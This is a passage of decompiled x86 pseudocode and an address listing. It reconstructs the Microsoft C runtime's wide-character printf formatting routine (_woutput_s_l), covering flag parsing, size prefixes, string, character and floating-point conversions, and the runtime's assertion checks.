																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00428400(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L214;
																						case 6:
																							L41:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e8) = __ecx;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							if( *(__ebp - 0x4e8) > 0x2e) {
																								L64:
																								goto L214;
																							}
																							L42:
																							_t102 =  *(__ebp - 0x4e8) + 0x43ca84; // 0xc2919003
																							__ecx =  *_t102 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA70))) {
																								case 0:
																									L47:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																										L50:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																										if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																											L53:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x64) {
																												L59:
																												L61:
																												goto L64;
																											}
																											L54:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x69) {
																												goto L59;
																											}
																											L55:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																												goto L59;
																											}
																											L56:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x75) {
																												goto L59;
																											}
																											L57:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x78) {
																												goto L59;
																											}
																											L58:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																												 *(__ebp - 0x45c) = 0;
																												goto L18;
																											}
																											goto L59;
																										}
																										L51:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																										if(__ecx != 0x32) {
																											goto L53;
																										} else {
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											goto L61;
																										}
																									}
																									L48:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																									if(__ecx != 0x34) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										goto L61;
																									}
																								case 1:
																									L62:
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) = __ecx;
																									goto L64;
																								case 2:
																									L43:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																									} else {
																										__ecx =  *(__ebp + 0xc);
																										__ecx =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) = __ecx;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L64;
																								case 3:
																									L63:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L64;
																								case 4:
																									goto L64;
																							}
																						case 7:
																							goto L65;
																						case 8:
																							L24:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) = __ecx;
																							goto L27;
																						case 9:
																							L25:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L27;
																						case 0xa:
																							L23:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							goto L27;
																						case 0xb:
																							L22:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L27;
																						case 0xc:
																							L26:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							goto L27;
																						case 0xd:
																							L27:
																							goto L214;
																					}
																				} else {
																					_t642 = 0;
																					if(0 == 0) {
																						 *(_t674 - 0x4dc) = 0;
																					} else {
																						 *(_t674 - 0x4dc) = 1;
																					}
																					 *(_t674 - 0x46c) =  *(_t674 - 0x4dc);
																					if( *(_t674 - 0x46c) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t519 = L0041E420();
																						_t677 = _t677 + 0x14;
																						if(_t519 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t674 - 0x46c) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422F10(_t588))) = 0x16;
																						E00422CA0(_t567, _t588, _t672, _t673, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t674 - 0x4c8) = 0xffffffff;
																						E0041AEC0(_t674 - 0x40);
																						_t504 =  *(_t674 - 0x4c8);
																						L225:
																						return E0042BD60(_t504, _t567,  *(_t674 - 0x48) ^ _t674, _t642, _t672, _t673);
																					}
																				}
																			}
																			L215:
																			if( *(_t674 - 0x45c) == 0 ||  *(_t674 - 0x45c) == 7) {
																				 *(_t674 - 0x4f8) = 1;
																			} else {
																				 *(_t674 - 0x4f8) = 0;
																			}
																			_t642 =  *(_t674 - 0x4f8);
																			 *(_t674 - 0x4bc) =  *(_t674 - 0x4f8);
																			if( *(_t674 - 0x4bc) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t509 = L0041E420();
																				_t677 = _t677 + 0x14;
																				if(_t509 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t674 - 0x4bc) != 0) {
																				 *(_t674 - 0x4d4) =  *(_t674 - 0x44c);
																				E0041AEC0(_t674 - 0x40);
																				_t504 =  *(_t674 - 0x4d4);
																			} else {
																				 *((intOrPtr*)(L00422F10(_t580))) = 0x16;
																				E00422CA0(_t567, _t580, _t672, _t673, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t674 - 0x4d0) = 0xffffffff;
																				E0041AEC0(_t674 - 0x40);
																				_t504 =  *(_t674 - 0x4d0);
																			}
																			goto L225;
																		}
																		L188:
																		if(( *(_t674 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t674 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t674 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t674 - 0x10) & 0x00000002) != 0) {
																						 *((short*)(_t674 - 0x14)) = 0x20;
																						 *(_t674 - 0x1c) = 1;
																					}
																				} else {
																					 *((short*)(_t674 - 0x14)) = 0x2b;
																					 *(_t674 - 0x1c) = 1;
																				}
																			} else {
																				 *((short*)(_t674 - 0x14)) = 0x2d;
																				 *(_t674 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t674 - 0x4ac)) =  *((intOrPtr*)(_t674 - 0x18)) -  *((intOrPtr*)(_t674 - 0x24)) -  *(_t674 - 0x1c);
																		if(( *(_t674 - 0x10) & 0x0000000c) == 0) {
																			E0043CB90(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																		}
																		E0043CBD0( *(_t674 - 0x1c), _t674 - 0x14,  *(_t674 - 0x1c),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																		_t677 = _t677 + 0x10;
																		if(( *(_t674 - 0x10) & 0x00000008) != 0 && ( *(_t674 - 0x10) & 0x00000004) == 0) {
																			E0043CB90(0x30,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																		}
																		if( *(_t674 - 0xc) != 0 ||  *((intOrPtr*)(_t674 - 0x24)) <= 0) {
																			L208:
																			E0043CBD0( *((intOrPtr*)(_t674 - 0x24)),  *((intOrPtr*)(_t674 - 4)),  *((intOrPtr*)(_t674 - 0x24)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																			goto L209;
																		} else {
																			L202:
																			 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 4));
																			 *((intOrPtr*)(_t674 - 0x4b4)) =  *((intOrPtr*)(_t674 - 0x24));
																			while(1) {
																				L203:
																				 *((intOrPtr*)(_t674 - 0x4b4)) =  *((intOrPtr*)(_t674 - 0x4b4)) - 1;
																				if( *((intOrPtr*)(_t674 - 0x4b4)) <= 0) {
																					break;
																				}
																				L204:
																				_t537 = E0041AEF0(_t674 - 0x40);
																				_t541 = E0043B630(_t674 - 0x458,  *((intOrPtr*)(_t674 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041AEF0(_t674 - 0x40))) + 0xac)), _t537);
																				_t677 = _t677 + 0x10;
																				 *((intOrPtr*)(_t674 - 0x4b8)) = _t541;
																				if( *((intOrPtr*)(_t674 - 0x4b8)) > 0) {
																					L206:
																					E0043CB30( *(_t674 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																					_t677 = _t677 + 0xc;
																					 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 0x4b0)) +  *((intOrPtr*)(_t674 - 0x4b8));
																					continue;
																				}
																				L205:
																				 *(_t674 - 0x44c) = 0xffffffff;
																				break;
																			}
																			L207:
																			L209:
																			if( *(_t674 - 0x44c) >= 0 && ( *(_t674 - 0x10) & 0x00000004) != 0) {
																				E0043CB90(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																				_t677 = _t677 + 0x10;
																			}
																			goto L212;
																		}
																		L65:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																		__ecx =  *(__ebp - 0x4ec);
																		__ecx =  *(__ebp - 0x4ec) - 0x41;
																		 *(__ebp - 0x4ec) = __ecx;
																	} while ( *(__ebp - 0x4ec) > 0x37);
																	__edx =  *(__ebp - 0x4ec);
																	_t143 = __edx + 0x43caf0; // 0xcccccc0d
																	__eax =  *_t143 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t143 & 0x000000ff) * 4 +  &M0043CAB4))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *((intOrPtr*)(__ebp - 0x460)) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E00428400(__ebp + 0x14);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			if( *((intOrPtr*)( *(__ebp - 0x474) + 4)) != 0) {
																				L78:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B960( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AEF0(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x440374; // 0xd5b65caa
																					E00424760(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AEF0(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x440380; // 0xd44284aa
																						E00424760(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AEF0(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44037c; // 0xd44114aa
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																					goto L187;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E00428400(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			if(__ecx == 0) {
																				 *(__ebp - 0x448) =  *(__ebp - 0x458);
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AEF0(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E0041AEF0(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				if(E0043B630(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448) < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			goto L187;
																		case 7:
																			goto L0;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E00428400(__ebp + 0x14);
																			if(E00433FB0() != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L187;
																			}
																			L107:
																			__ecx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E420();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				goto L187;
																			} else {
																				L114:
																				 *((intOrPtr*)(L00422F10(__ecx))) = 0x16;
																				__eax = E00422CA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AEC0(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L150;
																		case 0xa:
																			L142:
																			 *(__ebp - 0x30) = 8;
																			goto L143;
																		case 0xb:
																			L84:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428400(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				goto L105;
																			} else {
																				L88:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E0041AEF0(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					if(E004312C0( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478)) != 0) {
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																				}
																				L97:
																				L105:
																				goto L187;
																			}
																		case 0xc:
																			L141:
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 0xd:
																			L144:
																			 *((intOrPtr*)(__ebp - 0x460)) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *((short*)(__ebp - 0x14)) = __dx;
																				 *((intOrPtr*)(__ebp - 0x460)) =  *((intOrPtr*)(__ebp - 0x460)) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L150;
																		case 0xe:
																			goto L187;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0043c43b
0x0043c43b
0x0043c43b
0x0043c43b
0x0043c43b
0x0043c43b
0x0043c43b
0x0043c441
0x0043c444
0x00000000
0x0043c4c2
0x00000000
0x0043c4c2
0x00000000
0x0043c4c2
0x0043c4c2
0x0043c4ca
0x0043c4ec
0x0043c4f2
0x0043c517
0x0043c55e
0x0043c561
0x0043c582
0x0043c587
0x0043c58c
0x0043c592
0x0043c563
0x0043c567
0x0043c56c
0x0043c56f
0x0043c570
0x0043c576
0x0043c576
0x0043c519
0x0043c51c
0x0043c51f
0x0043c541
0x0043c546
0x0043c54c
0x0043c54d
0x0043c553
0x0043c521
0x0043c525
0x0043c52a
0x0043c52e
0x0043c52f
0x0043c535
0x0043c535
0x0043c559
0x0043c4f4
0x0043c4f8
0x0043c4fd
0x0043c500
0x0043c506
0x0043c506
0x0043c4cc
0x0043c4d0
0x0043c4d5
0x0043c4d8
0x0043c4de
0x0043c4de
0x0043c59e
0x0043c5e0
0x0043c5e6
0x0043c5f2
0x00000000
0x0043c5a0
0x0043c5a0
0x0043c5a0
0x0043c5a7
0x00000000
0x0043c5b4
0x0043c5b4
0x0043c5c2
0x0043c5c7
0x0043c5cd
0x0043c5db
0x0043c5f8
0x0043c600
0x0043c622
0x0043c622
0x0043c62c
0x0043c63d
0x0043c647
0x0043c649
0x0043c649
0x0043c62e
0x0043c62e
0x0043c62e
0x0043c65c
0x0043c65e
0x0043c65e
0x0043c66b
0x0043c66e
0x0043c66e
0x0043c674
0x0043c677
0x0043c67c
0x00000000
0x00000000
0x0043c68c
0x0043c68f
0x0043c699
0x0043c6a8
0x0043c6b1
0x0043c6c7
0x0043c6cd
0x0043c6da
0x0043c6e8
0x0043c6e8
0x0043c6f7
0x0043c6ff
0x0043c6ff
0x0043c707
0x0043c710
0x0043c719
0x0043c725
0x0043c73e
0x0043c744
0x0043c74d
0x0043c74d
0x00000000
0x0043c750
0x00000000
0x0043c750
0x00000000
0x0043c750
0x00000000
0x0043c750
0x00000000
0x0043c750
0x00000000
0x0043c750
0x00000000
0x0043c750
0x0043c750
0x0043c750
0x0043c754
0x0043c930
0x0043c934
0x0043c93c
0x0043c941
0x0043c944
0x0043c944
0x0043c94b
0x0043c94b
0x0043bacb
0x0043bad2
0x0043badf
0x0043bae4
0x00000000
0x0043baf7
0x0043bb01
0x0043bb28
0x0043bb0f
0x0043bb20
0x0043bb20
0x0043bb01
0x0043bb32
0x0043bb38
0x0043bb44
0x0043bb47
0x0043bb55
0x0043bb58
0x0043bb65
0x0043bc0a
0x0043bc10
0x0043bc1d
0x00000000
0x00000000
0x0043bc23
0x0043bc29
0x00000000
0x0043bc30
0x0043bc30
0x0043bc4a
0x0043bc4f
0x00000000
0x00000000
0x0043bc57
0x0043bc57
0x0043bc5e
0x0043bc61
0x0043bc64
0x0043bc67
0x0043bc6a
0x0043bc6d
0x0043bc70
0x0043bc77
0x0043bc7e
0x00000000
0x00000000
0x0043bc8a
0x0043bc8a
0x0043bc91
0x0043bc9d
0x0043bca0
0x0043bcad
0x00000000
0x00000000
0x0043bcaf
0x0043bcb5
0x0043bcb5
0x0043bcbc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bd00
0x0043bd00
0x0043bd0a
0x0043bd37
0x0043bd41
0x0043bd41
0x0043bd45
0x0043bd0c
0x0043bd0c
0x0043bd18
0x0043bd1f
0x0043bd24
0x0043bd27
